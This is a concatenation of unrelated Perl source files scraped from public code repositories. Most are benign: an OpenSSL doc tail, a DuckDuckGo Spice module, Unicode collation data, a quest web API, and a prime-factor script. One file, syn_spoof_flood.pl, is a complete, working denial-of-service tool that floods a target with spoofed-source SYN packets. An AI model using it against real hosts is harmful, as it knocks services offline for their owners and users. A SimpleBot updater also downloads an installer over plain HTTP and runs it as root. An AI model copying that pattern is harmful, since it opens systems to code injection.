(strlen(session_id_prefix) < *id_len) ?
strlen(session_id_prefix) : *id_len);
}
while (SSL_has_matching_session_id(ssl, id, *id_len) &&
(++count < MAX_SESSION_ID_ATTEMPTS));
if (count >= MAX_SESSION_ID_ATTEMPTS)
return 0;
return 1;
}
=head1 RETURN VALUES
SSL_CTX_set_generate_session_id() and SSL_set_generate_session_id()
always return 1.
SSL_has_matching_session_id() returns 1 if another session with the
same id is already in the cache.
=head1 SEE ALSO
L<ssl(3)>, L<SSL_get_version(3)>
=head1 COPYRIGHT
Copyright 2001-2016 The OpenSSL Project Authors. All Rights Reserved.
Licensed under the OpenSSL license (the "License"). You may not use
this file except in compliance with the License. You can obtain a copy
in the file LICENSE in the source distribution or at
L<https://www.openssl.org/source/license.html>.
=cut
| GaloisInc/hacrypto | src/C/openssl/openssl-1.1.0b/doc/ssl/SSL_CTX_set_generate_session_id.pod | Perl | bsd-3-clause | 5,689 |
package DDG::Spice::Aur;
# ABSTRACT: Archlinux user repository package look-up
use strict;
use DDG::Spice;
# Caching - https://duck.co/duckduckhack/spice_advanced_backend#caching
spice is_cached => 1;
# Metadata. See https://duck.co/duckduckhack/metadata for help in filling out this section.
name "Aur";
source "aur.archlinux.org";
icon_url "http://upload.wikimedia.org/wikipedia/commons/thumb/a/a5/Archlinux-icon-crystal-64.svg/1000px-Archlinux-icon-crystal-64.svg.png";
description "Provides hook into Arch User Repository API";
primary_example_queries "aur mopidy", "aur python2";
# Uncomment and complete: https://duck.co/duckduckhack/metadata#category
category "software";
# Uncomment and complete: https://duck.co/duckduckhack/metadata#topics
topics "computing";
code_url "https://github.com/duckduckgo/zeroclickinfo-spice/blob/master/lib/DDG/Spice/Aur.pm";
attribution twitter => 'crazedpsyc',
cpan => 'CRZEDPSYC',
github => ['NateBrune', 'Nate Brune'];
# API endpoint - https://duck.co/duckduckhack/spice_attributes#spice-codetocode
spice to => 'https://aur.archlinux.org/rpc.php?type=search&arg=$1&callback={{callback}}';
# Triggers - https://duck.co/duckduckhack/spice_triggers
triggers any => "aur", "archlinux package", "arch package", "arch linux package";
# Handle statement
handle remainder => sub {
my $remainder = $_;
$remainder =~ s/^for\s//;
return unless $remainder;
};
1;
| mayo/zeroclickinfo-spice | lib/DDG/Spice/Aur.pm | Perl | apache-2.0 | 1,449 |
+{
locale_version => 0.88,
suppress => [0x0410, 0x0430, 0x04D8, 0x04D9, 0x0413, 0x0433, 0x0415, 0x0435,
0x0416, 0x0436, 0x0417, 0x0437, 0x0406, 0x0456, 0x041E, 0x043E,
0x04E8, 0x04E9, 0x041A, 0x043A, 0x0423, 0x0443, 0x0427, 0x0447,
0x042B, 0x044B, 0x042D, 0x044D, 0x0474, 0x0475],
entry => <<'ENTRY', # for DUCET v6.1.0
04D1 ; [.1976.0020.0002.0430][.0000.0037.0002.0306] # CYRILLIC SMALL LETTER A WITH BREVE
04D0 ; [.1976.0020.0008.0410][.0000.0037.0002.0306] # CYRILLIC CAPITAL LETTER A WITH BREVE
04D3 ; [.1976.0020.0002.0430][.0000.0047.0002.0308] # CYRILLIC SMALL LETTER A WITH DIAERESIS
04D2 ; [.1976.0020.0008.0410][.0000.0047.0002.0308] # CYRILLIC CAPITAL LETTER A WITH DIAERESIS
04DB ; [.1982.0020.0002.04D9][.0000.0047.0002.0308] # CYRILLIC SMALL LETTER SCHWA WITH DIAERESIS
04DA ; [.1982.0020.0008.04D8][.0000.0047.0002.0308] # CYRILLIC CAPITAL LETTER SCHWA WITH DIAERESIS
0453 ; [.1996.0020.0002.0433][.0000.0032.0002.0301] # CYRILLIC SMALL LETTER GJE
0403 ; [.1996.0020.0008.0413][.0000.0032.0002.0301] # CYRILLIC CAPITAL LETTER GJE
04D7 ; [.19BE.0020.0002.0435][.0000.0037.0002.0306] # CYRILLIC SMALL LETTER IE WITH BREVE
04D6 ; [.19BE.0020.0008.0415][.0000.0037.0002.0306] # CYRILLIC CAPITAL LETTER IE WITH BREVE
04DD ; [.19CA.0020.0002.0436][.0000.0047.0002.0308] # CYRILLIC SMALL LETTER ZHE WITH DIAERESIS
04DC ; [.19CA.0020.0008.0416][.0000.0047.0002.0308] # CYRILLIC CAPITAL LETTER ZHE WITH DIAERESIS
04DF ; [.19D7.0020.0002.0437][.0000.0047.0002.0308] # CYRILLIC SMALL LETTER ZE WITH DIAERESIS
04DE ; [.19D7.0020.0008.0417][.0000.0047.0002.0308] # CYRILLIC CAPITAL LETTER ZE WITH DIAERESIS
0457 ; [.19FB.0020.0002.0456][.0000.0047.0002.0308] # CYRILLIC SMALL LETTER YI
0407 ; [.19FB.0020.0008.0406][.0000.0047.0002.0308] # CYRILLIC CAPITAL LETTER YI
04E7 ; [.1A5C.0020.0002.043E][.0000.0047.0002.0308] # CYRILLIC SMALL LETTER O WITH DIAERESIS
04E6 ; [.1A5C.0020.0008.041E][.0000.0047.0002.0308] # CYRILLIC CAPITAL LETTER O WITH DIAERESIS
04EB ; [.1A64.0020.0002.04E9][.0000.0047.0002.0308] # CYRILLIC SMALL LETTER BARRED O WITH DIAERESIS
04EA ; [.1A64.0020.0008.04E8][.0000.0047.0002.0308] # CYRILLIC CAPITAL LETTER BARRED O WITH DIAERESIS
045C ; [.1A0D.0020.0002.043A][.0000.0032.0002.0301] # CYRILLIC SMALL LETTER KJE
040C ; [.1A0D.0020.0008.041A][.0000.0032.0002.0301] # CYRILLIC CAPITAL LETTER KJE
045E ; [.1A9E.0020.0002.0443][.0000.0037.0002.0306] # CYRILLIC SMALL LETTER SHORT U
040E ; [.1A9E.0020.0008.0423][.0000.0037.0002.0306] # CYRILLIC CAPITAL LETTER SHORT U
04F1 ; [.1A9E.0020.0002.0443][.0000.0047.0002.0308] # CYRILLIC SMALL LETTER U WITH DIAERESIS
04F0 ; [.1A9E.0020.0008.0423][.0000.0047.0002.0308] # CYRILLIC CAPITAL LETTER U WITH DIAERESIS
04F3 ; [.1A9E.0020.0002.0443][.0000.004D.0002.030B] # CYRILLIC SMALL LETTER U WITH DOUBLE ACUTE
04F2 ; [.1A9E.0020.0008.0423][.0000.004D.0002.030B] # CYRILLIC CAPITAL LETTER U WITH DOUBLE ACUTE
04F5 ; [.1AF1.0020.0002.0447][.0000.0047.0002.0308] # CYRILLIC SMALL LETTER CHE WITH DIAERESIS
04F4 ; [.1AF1.0020.0008.0427][.0000.0047.0002.0308] # CYRILLIC CAPITAL LETTER CHE WITH DIAERESIS
04F9 ; [.1B24.0020.0002.044B][.0000.0047.0002.0308] # CYRILLIC SMALL LETTER YERU WITH DIAERESIS
04F8 ; [.1B24.0020.0008.042B][.0000.0047.0002.0308] # CYRILLIC CAPITAL LETTER YERU WITH DIAERESIS
04ED ; [.1B39.0020.0002.044D][.0000.0047.0002.0308] # CYRILLIC SMALL LETTER E WITH DIAERESIS
04EC ; [.1B39.0020.0008.042D][.0000.0047.0002.0308] # CYRILLIC CAPITAL LETTER E WITH DIAERESIS
0477 ; [.1B6F.0020.0002.0475][.0000.0065.0002.030F] # CYRILLIC SMALL LETTER IZHITSA WITH DOUBLE GRAVE ACCENT
0476 ; [.1B6F.0020.0008.0474][.0000.0065.0002.030F] # CYRILLIC CAPITAL LETTER IZHITSA WITH DOUBLE GRAVE ACCENT
ENTRY
};
| leighpauls/k2cro4 | third_party/perl/perl/lib/Unicode/Collate/Locale/ru.pl | Perl | bsd-3-clause | 3,872 |
#!/usr/bin/perl
# SimpleBot Background Updater
# Automatically invoked by IRC command
# by Joseph Huckaby
# Copyright (c) 2013 PixlCore.com
use strict;
use FileHandle;
use English qw( -no_match_vars ) ;
use POSIX qw/:sys_wait_h setsid/;
use File::Basename;
use Cwd 'abs_path';
BEGIN {
push @INC, dirname(dirname(abs_path($0))) . "/lib";
}
use Tools;
use VersionInfo;
$| = 1;
my $base_dir = abs_path( dirname( dirname($0) ) );
my $log_file = "$base_dir/logs/upgrade.log";
if ($EUID != 0) { die( "Error: Must be root to upgrade SimpleBot (you are user $EUID). Exiting.\n" ); }
my $current_version = get_version();
my $branch = (shift @ARGV) || $current_version->{Branch};
# fork to immediately return control to calling terminal
# and detach child from terminal
my $pid = fork();
if (!defined($pid)) { death( "Error: Cannot fork daemon process: $!\n" ); }
if ($pid) { exit(0); }
setsid();
open( STDIN, "</dev/null" );
open( STDOUT, ">/dev/null" );
# chdir( '/' );
# umask( 0 );
log_msg("Initiating upgrade for $branch");
my $script_url = "http://pixlcore.com/software/simplebot/install-latest-$branch.txt";
log_msg("Fetching URL: $script_url");
my $script_resp = wget($script_url);
if (!$script_resp->is_success()) { death("Failed to fetch URL: $script_url: " . trim($script_resp->status_line()) . "\n"); }
my $script_raw = $script_resp->content();
my $temp_file = "/var/tmp/temp-upgrade-simplebot-$branch-$$.sh";
if (!save_file($temp_file, $script_raw)) { death("Failed to save temp file: $temp_file: $!\n"); }
if (!chmod( 0775, $temp_file )) { death("Failed to chmod file: $temp_file: $!\n"); }
# exec script as a pipe, so we can capture output as it happens
log_msg("Executing installer script");
my $fh = FileHandle->new( "$temp_file 2>&1 |" );
if (!$fh) { death("Failed to open pipe to: $temp_file: $!\n"); }
my $line = undef;
while (defined($line = <$fh>)) {
if ($line =~ /\S/) { log_msg( $line ); }
last if $line =~ /SimpleBot Daemon started/;
}
$fh->close();
unlink $temp_file;
unlink "$base_dir/logs/upgrade.lock";
log_msg( "Upgrade complete, exiting." );
exit(0);
sub death {
# Log error and die
my $msg = shift;
log_msg( "Fatal Error: $msg" );
log_msg( "Exiting" );
unlink "$base_dir/logs/upgrade.lock";
die $msg;
}
sub log_msg {
##
# Log message to file
##
my $msg = shift;
my $nice_msg = $msg;
$nice_msg =~ s/^\s+//; # trim leading whitespace
$nice_msg =~ s/\s+$//; # trim trailing whitespace
if (length($nice_msg)) {
my $nice_time = scalar localtime;
my $line = "[" . join('][',
time(),
$nice_time,
$$
) . "] $nice_msg\n";
my $fh = new FileHandle ">>$log_file";
if ($fh) {
$fh->print( $line );
$fh->close();
}
}
}
1;
| jhuckaby/simplebot | install/bkgnd-upgrade.pl | Perl | mit | 2,702 |
package Play::Route::Quests;
use Dancer ':syntax';
prefix '/api';
use Play::DB qw(db);
use Play::Markdown qw(markdown);
use Play::App::Util qw(login);
use DateTime;
use DateTime::Format::RFC3339;
my $rfc3339 = DateTime::Format::RFC3339->new;
put '/quest/:id' => sub {
my $login = login;
my $updated_id = db->quests->update(
param('id'),
{
user => $login,
map { defined(param($_)) ? ($_ => param($_)) : () } qw/ name tags description note /,
}
);
return {
_id => $updated_id,
}
};
del '/quest/:id' => sub {
my $login = login;
db->quests->remove(
param('id'),
{ user => $login }
);
return {
result => 'ok',
}
};
post '/quest' => sub {
my $login = login;
# optional fields
my $params = {
map { param($_) ? ($_ => param($_)) : () } qw/ tags description cloned_from /,
};
# required fields
for (qw/ realm name /) {
my $value = param($_) or die "'$_' is not set";
$params->{$_} = $value;
}
$params->{status} = 'open';
$params->{team} = [ $login ];
return db->quests->add($params);
};
get '/quest' => sub {
my $params = {
map { param($_) ? ($_ => param($_)) : () } qw/ user status comment_count sort order limit offset tags watchers unclaimed realm /,
};
my $quests = db->quests->list($params);
if (param('fmt') and param('fmt') eq 'atom') {
die "realm not specified" unless param('realm');
header 'Content-Type' => 'application/xml';
my $frontend_url = '/';
if (param('user')) {
$frontend_url = '/'.param('realm').'/player/'.param('user');
}
elsif (param('tags')) {
$frontend_url = '/'.param('realm').'/explore/latest/tag/'.param('tags');
}
my $atom_tag = join(',', map { "$_=$params->{$_}" } keys %$params);
for my $quest (@$quests) {
$quest->{updated} = $rfc3339->format_datetime(
DateTime->from_epoch(epoch => $quest->{ts})
);
}
template 'quest-atom' => {
quests => $quests,
params => $params,
frontend_url => $frontend_url,
atom_tag => $atom_tag,
markdown => \&markdown,
};
}
else {
# default is json, as usual
return $quests;
}
};
get '/quest/:id' => sub {
return db->quests->get(param('id'));
};
for my $method (qw(
like unlike join leave watch unwatch
close reopen abandon resurrect checkin
)) {
post "/quest/:id/$method" => sub {
my $login = login;
db->quests->$method(param('id'), $login);
return {
result => 'ok',
}
};
}
for my $method (qw/ invite uninvite /) {
post "/quest/:id/$method" => sub {
my $login = login;
db->quests->$method(param('id'), param('invitee'), $login);
return {
result => 'ok',
}
};
}
post '/quest/set_manual_order' => sub {
my $login = login;
db->quests->set_manual_order($login, param('quest_ids[]'));
return {
result => 'ok'
}
};
true;
| berekuk/questhub | app/lib/Play/Route/Quests.pm | Perl | mit | 3,187 |
#!/usr/bin/env perl
#
# https://github.com/mkenney/Projects
# Have the user enter a number and find all Prime Factors (if there are any)
# and display them.
#
#
# Return true if n is prime, else false
#
sub isPrime {
my $n = $_[0];
my $ret_val = 1;
if (2 != $n) {
if (2 > $n || 0 == $n % 2) {
$ret_val = 0;
} else {
$low_range = sqrt($n) + 1;
for ($a = 3; $a < $low_range; $a += 2) {
if (0 == $n % $a) {
$ret_val = 0;
}
}
}
}
return $ret_val;
}
#
# Find the smallest factor of n
#
sub getSmallestFactor {
my $n = $_[0];
$factor = 0;
if ($n > 3) {
$factor_found = 0;
$factor = 2;
while (!$factor_found) {
if (0 == $n % $factor) {
$factor_found = 1;
} else {
$factor += 1;
}
}
}
return $factor;
}
#
# Return a list of all the prime factors of n
#
sub getPrimeFactors {
my $n = $_[0];
my @factors = ();
my $smallest = 0;
my $cur_n = $n;
while ($smallest != $cur_n) {
if ($cur_n < 4 || isPrime($cur_n)){
last;
}
$smallest = getSmallestFactor($cur_n);
push @factors, $smallest;
$cur_n = $cur_n / $smallest;
}
if ($cur_n > 1) {
push @factors, $cur_n;
}
return @factors;
}
my $n = 0;
while ('q' ne $n) {
print "Enter an integer > 1 to to list it's prime factors ('q' to quit): ";
$n = <>;
chomp($n);
if ('q' ne $n) {
my @factors = getPrimeFactors($n);
print " Prime factors of $n: ".join(', ', @factors)."\n\n";
}
}
| mkenney/Projects | solutions/Numbers/Prime_Factorization.pl | Perl | mit | 1,420 |
#!/usr/bin/perl
# synSpoofFlood
# Author: Lucas Allan
#
# Based on Simple SYN Flooder by iphelix
# Requires libpcap, perl, Net::RawIP module, and root privileges
#
# SYNOPSIS:
# ./syn_spoof_flood.pl [-f frequency] [-t total] [-r] host port
#
# Description:
# The syn_spoof_flood.pl simulates the TCP **SYN** flood attack.
# There are three methods to send SYN packets which generate random
# source IP addresses and ports. The option **-f** assigns frequency
# mode, which will send ${frequency} SYN packets every second; The
# option -t assigns total mode, which will send ${total} SYN packets
# in all; And the option -r assigns enhance mode, which will send
# SYN packets as fast as your system can.
#
# -r: enhance mode, send packets as fast as system can.
# -f frequency: frequency is in range [1, 1000000].
# -t total: send total packets in all.
#
# Updates:
# 2013-08-20 Added two mode: by frequency and by total
# Modified by lancerexw(lancerexw@gmail.com)
use Net::RawIP;
# added by lancerexw
use Time::HiRes qw(usleep nanosleep);
$dst = "";
$port = 0;
$freq = 0;
$total = 0;
$enhance = 0; # enhance mode
sub usage() {
print "
./syn_spoof_flood.pl [-f frequency] [-t total] [-r] host port
-f: frequency
-t: total
-r: enhance\n";
}
sub process_args() {
while ( @ARGV ) {
my $a = shift @ARGV;
if ( $a =~ m/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/ ) {
$dst = $a;
print "host=$dst\n";
next;
}
if ( $a =~ m/\d{1,5}/ ) {
$port = $a;
print "port=$port\n";
next;
}
if ( $a eq "-r" ) {
$enhance = 1;
print "enter enhance mode\n";
} elsif ( $a eq "-f" ) {
$freq = shift @ARGV;
print "frequency=$freq\n";
if ( $freq > 1000000 ) {
print "frequency must less than 1000000\n";
}
} elsif ( $a eq "-t" ) {
$total = shift @ARGV;
print "total=$total\n";
} else {
usage();
}
}
}
sub geraIP() {
$range = 255;
$iA = int(rand($range));
$iB = int(rand($range));
$iC = int(rand($range));
$iD = int(rand($range));
return $iA . "." . $iB . "." . $iC . "." . $iD;
}
sub send_syn_packet {
$handle = $_[0];
$src_port = int(rand(65534))+1;
$src = geraIP();
print "src=$src:$src_port\ndst=$dst:$port\n";
$handle->set({ ip => { saddr => $src, daddr => $dst }, tcp => { source => $src_port, dest => $port, syn => 1 } });
$handle->send;
}
sub attack() {
process_args();
if ( $dst == "" || $port == "" ) {
usage();
return;
}
$h = new Net::RawIP;
@param = ($h, "");
if ( $enhance == 1 ) {
print "send SYN packets in infinite loop\n";
while ( 1 ) {
send_syn_packet @param;
}
} elsif ( $freq != 0 ) {
$intvl = 1000000 / $freq;
print "send SYN packets by frequency $freq\n";
while ( 1 ) {
send_syn_packet @param;
usleep($intvl);
}
} elsif ( $total != 0 ) {
for ( $i = 0; $i < $total; $i += 1 ) {
send_syn_packet @param;
}
} else {
print "unknown mode\n";
}
}
attack();
| ng-wei/scripts | perl/syn_spoof_flood.pl | Perl | mit | 3,321 |
use MooseX::Declare;
use strict;
use warnings;
#### USE LIB FOR INHERITANCE
use FindBin qw($Bin);
use lib "$Bin/../";
class Mock::Virtual {
sub new {
my $class = shift;
my $type = shift;
$type = uc(substr($type, 0, 1)) . substr($type, 1);
#print "Virtual::new type: $type\n";
my $location = "Mock/Virtual/$type.pm";
$class = "Mock::Virtual::$type";
#print "Virtual::new DOING require $location\n";
require $location;
return $class->new(@_);
}
Mock::Virtual->meta->make_immutable(inline_constructor => 0);
} #### END
1;
| aguadev/aguadev | t/unit/lib/Mock/Virtual.pm | Perl | mit | 605 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.